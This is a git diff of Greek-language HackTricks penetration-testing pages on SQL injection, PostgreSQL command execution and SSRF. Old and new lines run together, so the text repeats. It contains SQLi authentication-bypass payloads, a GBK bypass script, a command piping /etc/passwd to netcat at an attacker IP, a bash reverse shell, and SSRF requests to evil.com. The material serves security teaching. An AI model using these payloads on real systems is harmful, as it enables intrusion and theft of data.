Ελέγξτε το [SQLMap Cheatsheet](sqlmap/) για να εκμεταλλευτείτε μια ευπάθεια SQLi με [**sqlmap**](https://github.com/sqlmapproject/sqlmap). Ελέγξτε το [SQLMap Cheatsheet](sqlmap/) για να εκμεταλλευτείτε μια ευπάθεια SQLi με [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## Τεχνικές συγκεκριμένες πληροφορίες ## Πληροφορίες συγκεκριμένες για τεχνολογία
Έχουμε ήδη συζητήσει όλους τους τρόπους εκμετάλλευσης μιας ευπάθειας SQL Injection. Βρείτε μερικά ακόμα κόλπα που εξαρτώνται από την τεχνολογία βάσης δεδομένων σε αυτό το βιβλίο: Έχουμε ήδη συζητήσει όλους τους τρόπους εκμετάλλευσης μιας ευπάθειας SQL Injection. Βρείτε μερικά ακόμα κόλπα που εξαρτώνται από την τεχνολογία βάσης δεδομένων σε αυτό το βιβλίο:
@ -266,7 +267,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
```sql ```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'" "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
``` ```
Αυτή η ερώτηση επιδεικνύει μια ευπάθεια όταν το MD5 χρησιμοποιείται με true για ακατέργαστη έξοδο σε ελέγχους ταυτοποίησης, καθιστώντας το σύστημα ευάλωτο σε SQL injection. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας εισόδους που, όταν κατακερματίζονται, παράγουν απροσδόκητα μέρη SQL εντολών, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση. Αυτή η ερώτηση επιδεικνύει μια ευπάθεια όταν το MD5 χρησιμοποιείται με true για την ακατέργαστη έξοδο σε ελέγχους ταυτοποίησης, καθιστώντας το σύστημα ευάλωτο σε SQL injection. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας εισόδους που, όταν κατακερματίζονται, παράγουν απροσδόκητα μέρη SQL εντολών, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
```sql ```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD> md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-! sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -284,13 +285,13 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
### GBK Authentication Bypass ### GBK Authentication Bypass
ΑΝ το ' διαφεύγει μπορείτε να χρησιμοποιήσετε %A8%27, και όταν το ' διαφύγει θα δημιουργηθεί: 0xA80x5c0x27 (_╘'_) ΑΝ το ' είναι διαφευγμένο μπορείτε να χρησιμοποιήσετε %A8%27, και όταν το ' διαφευγεί θα δημιουργηθεί: 0xA80x5c0x27 (_╘'_)
```sql ```sql
%A8%27 OR 1=1;-- 2 %A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2 %8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- -- %bf' or 1=1 -- --
``` ```
Python script: Python σενάριο:
```python ```python
import requests import requests
url = "http://example.com/index.php" url = "http://example.com/index.php"
@ -299,7 +300,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text print r.text
``` ```
### Πολυγλωσσική ένεση (πολυπλαστική) ### Πολυγλωσσική ένεση (πολυπλαίσιο)
```sql ```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
``` ```
@ -307,11 +308,11 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
### Modify password of existing object/user ### Modify password of existing object/user
Για να το κάνετε αυτό, θα πρέπει να προσπαθήσετε να **δημιουργήσετε ένα νέο αντικείμενο με το όνομα του "master object"** (πιθανώς **admin** στην περίπτωση χρηστών) τροποποιώντας κάτι: Για να το κάνετε αυτό, θα πρέπει να προσπαθήσετε να **δημιουργήσετε ένα νέο αντικείμενο με το όνομα του "κύριου αντικειμένου"** (πιθανώς **admin** στην περίπτωση χρηστών) τροποποιώντας κάτι:
- Δημιουργήστε χρήστη με το όνομα: **AdMIn** (κεφαλαία & πεζά γράμματα) - Δημιουργήστε χρήστη με όνομα: **AdMIn** (κεφαλαία & πεζά γράμματα)
- Δημιουργήστε έναν χρήστη με το όνομα: **admin=** - Δημιουργήστε έναν χρήστη με όνομα: **admin=**
- **SQL Truncation Attack** (όταν υπάρχει κάποιο είδος **περιορισμού μήκους** στο όνομα χρήστη ή στο email) --> Δημιουργήστε χρήστη με το όνομα: **admin \[πολλές κενές θέσεις] a** - **SQL Truncation Attack** (όταν υπάρχει κάποιο είδος **περιορισμού μήκους** στο όνομα χρήστη ή το email) --> Δημιουργήστε χρήστη με όνομα: **admin \[πολλές κενές θέσεις] a**
#### SQL Truncation Attack #### SQL Truncation Attack
@ -379,7 +380,7 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
``` ```
## Routed SQL injection ## Routed SQL injection
Η Routed SQL injection είναι μια κατάσταση όπου το ερωτηματολόγιο που μπορεί να εισαχθεί δεν είναι αυτό που δίνει έξοδο, αλλά η έξοδος του ερωτηματολογίου που μπορεί να εισαχθεί πηγαίνει στο ερωτηματολόγιο που δίνει έξοδο. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) Η Routed SQL injection είναι μια κατάσταση όπου το ερωτηματικό που μπορεί να εισαχθεί δεν είναι αυτό που δίνει έξοδο, αλλά η έξοδος του ερωτήματος που μπορεί να εισαχθεί πηγαίνει στο ερώτημα που δίνει έξοδο. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Example: Example:
``` ```
@ -419,7 +420,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
``` ```
### Γενικές Παράκαμψεις ### Γενικές Παράκαμψεις
Blacklist χρησιμοποιώντας λέξεις-κλειδιά - παράκαμψη χρησιμοποιώντας κεφαλαία/μικρά γράμματα Blacklist χρησιμοποιώντας λέξεις-κλειδιά - παράκαμψη χρησιμοποιώντας κεφαλαία/μικρά
```sql ```sql
?id=1 AND 1=1# ?id=1 AND 1=1#
?id=1 AnD 1=1# ?id=1 AnD 1=1#
@ -456,11 +457,13 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select" # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
``` ```
Αυτή η τεχνική ελήφθη από [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) Αυτό το κόλπο ελήφθη από [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### Εργαλεία προτάσεων παράκαμψης WAF ### Εργαλεία προτάσεων παράκαμψης WAF
{% embed url="https://github.com/m4ll0k/Atlas" %} {{#ref}}
https://github.com/m4ll0k/Atlas
{{#endref}}
## Άλλοι Οδηγοί ## Άλλοι Οδηγοί
@ -469,7 +472,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
## Λίστα Ανίχνευσης Brute-Force ## Λίστα Ανίχνευσης Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## PostgreSQL Extensions ## PostgreSQL Extensions
Το PostgreSQL έχει αναπτυχθεί με την επεκτασιμότητα ως βασικό χαρακτηριστικό, επιτρέποντας την απρόσκοπτη ενσωμάτωσή των επεκτάσεων σαν να ήταν ενσωματωμένες λειτουργίες. Αυτές οι επεκτάσεις, ουσιαστικά βιβλιοθήκες γραμμένες σε C, εμπλουτίζουν τη βάση δεδομένων με επιπλέον συναρτήσεις, τελεστές ή τύπους. Το PostgreSQL έχει αναπτυχθεί με την επεκτασιμότητα ως βασικό χαρακτηριστικό, επιτρέποντας την απρόσκοπτη ενσωμάτωσή του επεκτάσεων σαν να ήταν ενσωματωμένες λειτουργίες. Αυτές οι επεκτάσεις, ουσιαστικά βιβλιοθήκες γραμμένες σε C, εμπλουτίζουν τη βάση δεδομένων με επιπλέον συναρτήσεις, τελεστές ή τύπους.
Από την έκδοση 8.1 και μετά, επιβάλλεται μια συγκεκριμένη απαίτηση στις βιβλιοθήκες επεκτάσεων: πρέπει να είναι συμπιεσμένες με μια ειδική κεφαλίδα. Χωρίς αυτό, το PostgreSQL δεν θα τις εκτελέσει, διασφαλίζοντας ότι χρησιμοποιούνται μόνο συμβατές και δυνητικά ασφαλείς επεκτάσεις. Από την έκδοση 8.1 και μετά, επιβάλλεται μια συγκεκριμένη απαίτηση στις βιβλιοθήκες επεκτάσεων: πρέπει να είναι συμπιεσμένες με μια ειδική κεφαλίδα. Χωρίς αυτό, το PostgreSQL δεν θα τις εκτελέσει, διασφαλίζοντας ότι χρησιμοποιούνται μόνο συμβατές και δυνητικά ασφαλείς επεκτάσεις.
@ -14,7 +14,7 @@
**Για περισσότερες πληροφορίες ελέγξτε: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)** **Για περισσότερες πληροφορίες ελέγξτε: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
Η εκτέλεση συστημικών εντολών από το PostgreSQL 8.1 και παλαιότερες εκδόσεις είναι μια διαδικασία που έχει τεκμηριωθεί σαφώς και είναι απλή. Είναι δυνατή η χρήση αυτού: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload). Η εκτέλεση συστημικών εντολών από το PostgreSQL 8.1 και παλαιότερες εκδόσεις είναι μια διαδικασία που έχει τεκμηριωθεί σαφώς και είναι απλή. Είναι δυνατόν να χρησιμοποιήσετε αυτό: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql ```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>'); SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -75,13 +75,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
``` ```
Αυτό το σφάλμα εξηγείται στην [τεκμηρίωση του PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html): Αυτό το σφάλμα εξηγείται στην [τεκμηρίωση του PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> Για να διασφαλιστεί ότι ένα δυναμικά φορτωμένο αρχείο αντικειμένου δεν φορτώνεται σε έναν ασύμβατο διακομιστή, το PostgreSQL ελέγχει ότι το αρχείο περιέχει ένα “μαγικό μπλοκ” με τα κατάλληλα περιεχόμενα. Αυτό επιτρέπει στον διακομιστή να ανιχνεύει προφανείς ασυμβατότητες, όπως κώδικα που έχει μεταγλωττιστεί για μια διαφορετική κύρια έκδοση του PostgreSQL. Ένα μαγικό μπλοκ απαιτείται από την έκδοση 8.2 του PostgreSQL. Για να συμπεριλάβετε ένα μαγικό μπλοκ, γράψτε αυτό σε ένα (και μόνο ένα) από τα αρχεία πηγής του module, αφού έχετε συμπεριλάβει την κεφαλίδα fmgr.h: > Για να διασφαλιστεί ότι ένα δυναμικά φορτωμένο αρχείο αντικειμένου δεν φορτώνεται σε έναν ασύμβατο διακομιστή, το PostgreSQL ελέγχει ότι το αρχείο περιέχει ένα “magic block” με τα κατάλληλα περιεχόμενα. Αυτό επιτρέπει στον διακομιστή να ανιχνεύει προφανείς ασυμβατότητες, όπως κώδικα που έχει μεταγλωττιστεί για μια διαφορετική κύρια έκδοση του PostgreSQL. Ένα magic block απαιτείται από την έκδοση 8.2 του PostgreSQL. Για να συμπεριλάβετε ένα magic block, γράψτε αυτό σε ένα (και μόνο ένα) από τα αρχεία πηγής του module, αφού έχετε συμπεριλάβει την κεφαλίδα fmgr.h:
> >
> `#ifdef PG_MODULE_MAGIC`\ > `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\ > `PG_MODULE_MAGIC;`\
> `#endif` > `#endif`
Από την έκδοση 8.2 του PostgreSQL, η διαδικασία για έναν επιτιθέμενο να εκμεταλλευτεί το σύστημα έχει γίνει πιο δύσκολη. Ο επιτιθέμενος απαιτείται είτε να χρησιμοποιήσει μια βιβλιοθήκη που είναι ήδη παρούσα στο σύστημα είτε να ανεβάσει μια προσαρμοσμένη βιβλιοθήκη. Αυτή η προσαρμοσμένη βιβλιοθήκη πρέπει να έχει μεταγλωττιστεί κατά της συμβατής κύριας έκδοσης του PostgreSQL και πρέπει να περιλαμβάνει ένα συγκεκριμένο "μαγικό μπλοκ". Αυτό το μέτρο αυξάνει σημαντικά τη δυσκολία εκμετάλλευσης των συστημάτων PostgreSQL, καθώς απαιτεί μια πιο βαθιά κατανόηση της αρχιτεκτονικής και της συμβατότητας έκδοσης του συστήματος. Από την έκδοση 8.2 του PostgreSQL, η διαδικασία για έναν επιτιθέμενο να εκμεταλλευτεί το σύστημα έχει γίνει πιο δύσκολη. Ο επιτιθέμενος απαιτείται είτε να χρησιμοποιήσει μια βιβλιοθήκη που είναι ήδη παρούσα στο σύστημα είτε να ανεβάσει μια προσαρμοσμένη βιβλιοθήκη. Αυτή η προσαρμοσμένη βιβλιοθήκη πρέπει να έχει μεταγλωττιστεί κατά της συμβατής κύριας έκδοσης του PostgreSQL και πρέπει να περιλαμβάνει ένα συγκεκριμένο "magic block". Αυτό το μέτρο αυξάνει σημαντικά τη δυσκολία εκμετάλλευσης των συστημάτων PostgreSQL, καθώς απαιτεί μια πιο βαθιά κατανόηση της αρχιτεκτονικής του συστήματος και της συμβατότητας εκδόσεων.
#### Μεταγλωττίστε τη βιβλιοθήκη #### Μεταγλωττίστε τη βιβλιοθήκη
@ -90,7 +90,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
SELECT version(); SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
``` ```
Για συμβατότητα, είναι απαραίτητο οι κύριες εκδόσεις να ευθυγραμμίζονται. Επομένως, η σύνταξη μιας βιβλιοθήκης με οποιαδήποτε έκδοση εντός της σειράς 9.6.x θα πρέπει να διασφαλίσει επιτυχημένη ενσωμάτωση. Για συμβατότητα, είναι ουσιώδες οι κύριες εκδόσεις να ευθυγραμμίζονται. Επομένως, η σύνταξη μιας βιβλιοθήκης με οποιαδήποτε έκδοση εντός της σειράς 9.6.x θα πρέπει να διασφαλίσει επιτυχημένη ενσωμάτωση.
Για να εγκαταστήσετε αυτή την έκδοση στο σύστημά σας: Για να εγκαταστήσετε αυτή την έκδοση στο σύστημά σας:
```bash ```bash
@ -121,7 +121,9 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
``` ```
Μπορείτε να βρείτε αυτή τη **βιβλιοθήκη προετοιμασμένη** για πολλές διαφορετικές εκδόσεις PostgreSQL και μπορείτε ακόμη να **αυτοματοποιήσετε αυτή τη διαδικασία** (αν έχετε πρόσβαση στο PostgreSQL) με: Μπορείτε να βρείτε αυτή τη **βιβλιοθήκη προετοιμασμένη** για πολλές διαφορετικές εκδόσεις PostgreSQL και μπορείτε ακόμη να **αυτοματοποιήσετε αυτή τη διαδικασία** (αν έχετε πρόσβαση στο PostgreSQL) με:
{% embed url="https://github.com/Dionach/pgexec" %} {{#ref}}
https://github.com/Dionach/pgexec
{{#endref}}
### RCE σε Windows ### RCE σε Windows
@ -260,13 +262,13 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
Στις **πιο πρόσφατες εκδόσεις** του PostgreSQL, έχουν επιβληθεί περιορισμοί όπου ο `superuser` είναι **απαγορευμένος** από το **φόρτωμα** αρχείων κοινής βιβλιοθήκης εκτός από συγκεκριμένους καταλόγους, όπως `C:\Program Files\PostgreSQL\11\lib` στα Windows ή `/var/lib/postgresql/11/lib` σε συστήματα \*nix. Αυτοί οι κατάλογοι είναι **ασφαλισμένοι** κατά των λειτουργιών εγγραφής είτε από τους λογαριασμούς NETWORK_SERVICE είτε postgres. Στις **πιο πρόσφατες εκδόσεις** του PostgreSQL, έχουν επιβληθεί περιορισμοί όπου ο `superuser` είναι **απαγορευμένος** από το **φόρτωμα** αρχείων κοινής βιβλιοθήκης εκτός από συγκεκριμένους καταλόγους, όπως `C:\Program Files\PostgreSQL\11\lib` στα Windows ή `/var/lib/postgresql/11/lib` σε συστήματα \*nix. Αυτοί οι κατάλογοι είναι **ασφαλισμένοι** κατά των λειτουργιών εγγραφής είτε από τους λογαριασμούς NETWORK_SERVICE είτε postgres.
Παρά αυτούς τους περιορισμούς, είναι δυνατόν για έναν αυθεντικοποιημένο `superuser` της βάσης δεδομένων να **γράψει δυαδικά αρχεία** στο σύστημα αρχείων χρησιμοποιώντας "μεγάλες οντότητες." Αυτή η δυνατότητα επεκτείνεται στη γραφή εντός του καταλόγου `C:\Program Files\PostgreSQL\11\data`, ο οποίος είναι απαραίτητος για τις λειτουργίες της βάσης δεδομένων όπως η ενημέρωση ή η δημιουργία πινάκων. Παρά αυτούς τους περιορισμούς, είναι δυνατόν για έναν αυθεντικοποιημένο `superuser` της βάσης δεδομένων να **γράψει δυαδικά αρχεία** στο σύστημα αρχείων χρησιμοποιώντας "μεγάλες αντικείμενα." Αυτή η δυνατότητα επεκτείνεται στη γραφή εντός του καταλόγου `C:\Program Files\PostgreSQL\11\data`, ο οποίος είναι απαραίτητος για τις λειτουργίες της βάσης δεδομένων όπως η ενημέρωση ή η δημιουργία πινάκων.
Μια σημαντική ευπάθεια προκύπτει από την εντολή `CREATE FUNCTION`, η οποία **επιτρέπει την περιήγηση καταλόγων** στον κατάλογο δεδομένων. Ως εκ τούτου, ένας αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να **εκμεταλλευτεί αυτή την περιήγηση** για να γράψει ένα αρχείο κοινής βιβλιοθήκης στον κατάλογο δεδομένων και στη συνέχεια να **το φορτώσει**. Αυτή η εκμετάλλευση επιτρέπει στον επιτιθέμενο να εκτελεί αυθαίρετο κώδικα, επιτυγχάνοντας εκτέλεση εγγενών κωδίκων στο σύστημα. Μια σημαντική ευπάθεια προκύπτει από την εντολή `CREATE FUNCTION`, η οποία **επιτρέπει την περιήγηση καταλόγων** στον κατάλογο δεδομένων. Ως εκ τούτου, ένας αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να **εκμεταλλευτεί αυτή την περιήγηση** για να γράψει ένα αρχείο κοινής βιβλιοθήκης στον κατάλογο δεδομένων και στη συνέχεια να **το φορτώσει**. Αυτή η εκμετάλλευση επιτρέπει στον επιτιθέμενο να εκτελεί αυθαίρετο κώδικα, επιτυγχάνοντας εκτέλεση εγγενών κωδίκων στο σύστημα.
#### Ροή επίθεσης #### Ροή επίθεσης
Πρώτα απ' όλα, πρέπει να **χρησιμοποιήσεις μεγάλες οντότητες για να ανεβάσεις το dll**. Μπορείς να δεις πώς να το κάνεις αυτό εδώ: Πρώτα απ' όλα, πρέπει να **χρησιμοποιήσεις μεγάλες αντικείμενα για να ανεβάσεις το dll**. Μπορείς να δεις πώς να το κάνεις αυτό εδώ:
{{#ref}} {{#ref}}
big-binary-files-upload-postgresql.md big-binary-files-upload-postgresql.md

View File

@ -38,7 +38,7 @@ url-format-bypass.md
- **file://** - **file://**
- Το σχήμα URL `file://` αναφέρεται, δείχνοντας απευθείας στο `/etc/passwd`: `file:///etc/passwd` - Το σχήμα URL `file://` αναφέρεται, δείχνοντας απευθείας στο `/etc/passwd`: `file:///etc/passwd`
- **dict://** - **dict://**
- Το σχήμα URL DICT περιγράφεται ως χρησιμοποιούμενο για την πρόσβαση σε ορισμούς ή λίστες λέξεων μέσω του πρωτοκόλλου DICT. Ένα παράδειγμα που δίνεται απεικονίζει ένα κατασκευασμένο URL που στοχεύει σε μια συγκεκριμένη λέξη, βάση δεδομένων και αριθμό καταχώρησης, καθώς και μια περίπτωση ενός PHP script που μπορεί να χρησιμοποιηθεί κακόβουλα για να συνδεθεί σε έναν διακομιστή DICT χρησιμοποιώντας διαπιστευτήρια που παρέχονται από τον επιτιθέμενο: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>` - Το σχήμα URL DICT περιγράφεται ως χρησιμοποιούμενο για την πρόσβαση σε ορισμούς ή λίστες λέξεων μέσω του πρωτοκόλλου DICT. Ένα παράδειγμα που δίνεται απεικονίζει μια κατασκευασμένη διεύθυνση URL που στοχεύει σε μια συγκεκριμένη λέξη, βάση δεδομένων και αριθμό καταχώρησης, καθώς και μια περίπτωση ενός PHP script που μπορεί να χρησιμοποιηθεί κακόβουλα για να συνδεθεί σε έναν διακομιστή DICT χρησιμοποιώντας διαπιστευτήρια που παρέχονται από τον επιτιθέμενο: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- **SFTP://** - **SFTP://**
- Αναγνωρίζεται ως πρωτόκολλο για ασφαλή μεταφορά αρχείων μέσω ασφαλούς κελύφους, παρέχεται ένα παράδειγμα που δείχνει πώς ένα PHP script θα μπορούσε να εκμεταλλευτεί για να συνδεθεί σε έναν κακόβουλο διακομιστή SFTP: `url=sftp://generic.com:11111/` - Αναγνωρίζεται ως πρωτόκολλο για ασφαλή μεταφορά αρχείων μέσω ασφαλούς κελύφους, παρέχεται ένα παράδειγμα που δείχνει πώς ένα PHP script θα μπορούσε να εκμεταλλευτεί για να συνδεθεί σε έναν κακόβουλο διακομιστή SFTP: `url=sftp://generic.com:11111/`
- **TFTP://** - **TFTP://**
@ -65,7 +65,7 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
### Gopher:// ### Gopher://
Χρησιμοποιώντας αυτό το πρωτόκολλο μπορείτε να καθορίσετε το **IP, θύρα και bytes** που θέλετε να **στείλει** ο διακομιστής. Στη συνέχεια, μπορείτε βασικά να εκμεταλλευτείτε μια SSRF για να **επικοινωνήσετε με οποιονδήποτε TCP διακομιστή** (αλλά πρέπει να ξέρετε πώς να μιλήσετε με την υπηρεσία πρώτα).\ Χρησιμοποιώντας αυτό το πρωτόκολλο μπορείτε να καθορίσετε το **IP, θύρα και bytes** που θέλετε να **στείλει** ο διακομιστής. Στη συνέχεια, μπορείτε βασικά να εκμεταλλευτείτε μια SSRF για να **επικοινωνήσετε με οποιονδήποτε TCP διακομιστή** (αλλά πρέπει να ξέρετε πώς να μιλήσετε με την υπηρεσία πρώτα).\
Ευτυχώς, μπορείτε να χρησιμοποιήσετε [Gopherus](https://github.com/tarunkant/Gopherus) για να δημιουργήσετε payloads για πολλές υπηρεσίες. Επιπλέον, το [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) μπορεί να χρησιμοποιηθεί για να δημιουργήσει _gopher_ payloads για _Java RMI_ υπηρεσίες. Ευτυχώς, μπορείτε να χρησιμοποιήσετε το [Gopherus](https://github.com/tarunkant/Gopherus) για να δημιουργήσετε payloads για πολλές υπηρεσίες. Επιπλέον, το [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) μπορεί να χρησιμοποιηθεί για να δημιουργήσει _gopher_ payloads για _Java RMI_ υπηρεσίες.
**Gopher smtp** **Gopher smtp**
``` ```
@ -133,7 +133,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## Απόδοση PDFs ## Απόδοση PDFs
Εάν η ιστοσελίδα δημιουργεί αυτόματα ένα PDF με κάποιες πληροφορίες που έχετε παρέχει, μπορείτε να **εισάγετε κάποιο JS που θα εκτελείται από τον ίδιο τον δημιουργό του PDF** (τον server) κατά τη δημιουργία του PDF και θα μπορείτε να εκμεταλλευτείτε ένα SSRF. [**Βρείτε περισσότερες πληροφορίες εδώ**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** Εάν η ιστοσελίδα δημιουργεί αυτόματα ένα PDF με κάποιες πληροφορίες που έχετε παρέχει, μπορείτε να **εισάγετε κάποιο JS που θα εκτελείται από τον δημιουργό του PDF** (τον server) κατά τη διάρκεια της δημιουργίας του PDF και θα μπορείτε να εκμεταλλευτείτε ένα SSRF. [**Βρείτε περισσότερες πληροφορίες εδώ**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## Από SSRF σε DoS ## Από SSRF σε DoS
@ -206,7 +206,7 @@ app.run(threaded=False)
``` ```
</details> </details>
Το Flask επιτρέπει τη χρήση του **`@`** ως αρχικό χαρακτήρα, που επιτρέπει να γίνει το **αρχικό όνομα κεντρικού υπολογιστή το όνομα χρήστη** και να εισαχθεί ένα νέο. Αιτούμενο αίτημα επίθεσης: Το Flask επιτρέπει τη χρήση του **`@`** ως αρχικό χαρακτήρα, που επιτρέπει να γίνει το **αρχικό όνομα κεντρικού υπολογιστή το όνομα χρήστη** και να εισαχθεί ένα νέο. Αιτούμενο επίθεσης:
```http ```http
GET @evildomain.com/ HTTP/1.1 GET @evildomain.com/ HTTP/1.1
Host: target.com Host: target.com
@ -218,7 +218,7 @@ Connection: close
<figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure>
Ανακαλύφθηκε ότι είναι δυνατό να **ξεκινήσει η διαδρομή** ενός αιτήματος με τον χαρακτήρα **`;`** που επιτρέπει στη συνέχεια τη χρήση του **`@`** και την έγχυση μιας νέας διεύθυνσης για πρόσβαση. Αιτημα επίθεσης: Ανακαλύφθηκε ότι είναι δυνατό να **ξεκινήσει η διαδρομή** ενός αιτήματος με τον χαρακτήρα **`;`** που επιτρέπει στη συνέχεια τη χρήση του **`@`** και την έγχυση μιας νέας διεύθυνσης για πρόσβαση. Αιτηματική επίθεση:
```http ```http
GET ;@evil.com/url HTTP/1.1 GET ;@evil.com/url HTTP/1.1
Host: target.com Host: target.com
@ -245,7 +245,7 @@ var_dump($response);
``` ```
</details> </details>
Η PHP επιτρέπει τη χρήση του **χαρακτήρα `*` πριν από μια κάθετο στη διαδρομή** της διεύθυνσης URL, ωστόσο, έχει άλλους περιορισμούς όπως ότι μπορεί να χρησιμοποιηθεί μόνο για τη ριζική διαδρομή `/` και ότι οι τελείες `.` δεν επιτρέπονται πριν από την πρώτη κάθετο, επομένως είναι απαραίτητο να χρησιμοποιηθεί μια διεύθυνση IP κωδικοποιημένη σε δεκαεξαδικό χωρίς τελείες, για παράδειγμα: Η PHP επιτρέπει τη χρήση του **χαρακτήρα `*` πριν από μια κάθετο στη διαδρομή** της διεύθυνσης URL, ωστόσο, έχει άλλους περιορισμούς όπως ότι μπορεί να χρησιμοποιηθεί μόνο για τη ρίζα διαδρομή `/` και ότι οι τελείες `.` δεν επιτρέπονται πριν από την πρώτη κάθετο, επομένως είναι απαραίτητο να χρησιμοποιηθεί μια διεύθυνση IP κωδικοποιημένη σε hex χωρίς τελείες, για παράδειγμα:
```http ```http
GET *@0xa9fea9fe/ HTTP/1.1 GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com Host: target.com
@ -253,7 +253,7 @@ Connection: close
``` ```
## DNS Rebidding CORS/SOP bypass ## DNS Rebidding CORS/SOP bypass
Αν έχετε **προβλήματα** να **εξάγετε περιεχόμενο από μια τοπική IP** λόγω **CORS/SOP**, η **DNS Rebidding** μπορεί να χρησιμοποιηθεί για να παρακάμψει αυτόν τον περιορισμό: Αν έχετε **προβλήματα** να **εξάγετε περιεχόμενο από μια τοπική IP** λόγω **CORS/SOP**, η **DNS Rebidding** μπορεί να χρησιμοποιηθεί για να παρακαμφθεί αυτός ο περιορισμός:
{{#ref}} {{#ref}}
../cors-bypass.md ../cors-bypass.md
@ -341,7 +341,9 @@ SSRF Proxy είναι ένας πολυνηματικός HTTP διακομισ
### To practice ### To practice
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %} {{#ref}}
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
{{#endref}}
## References ## References

View File

@ -159,12 +159,14 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
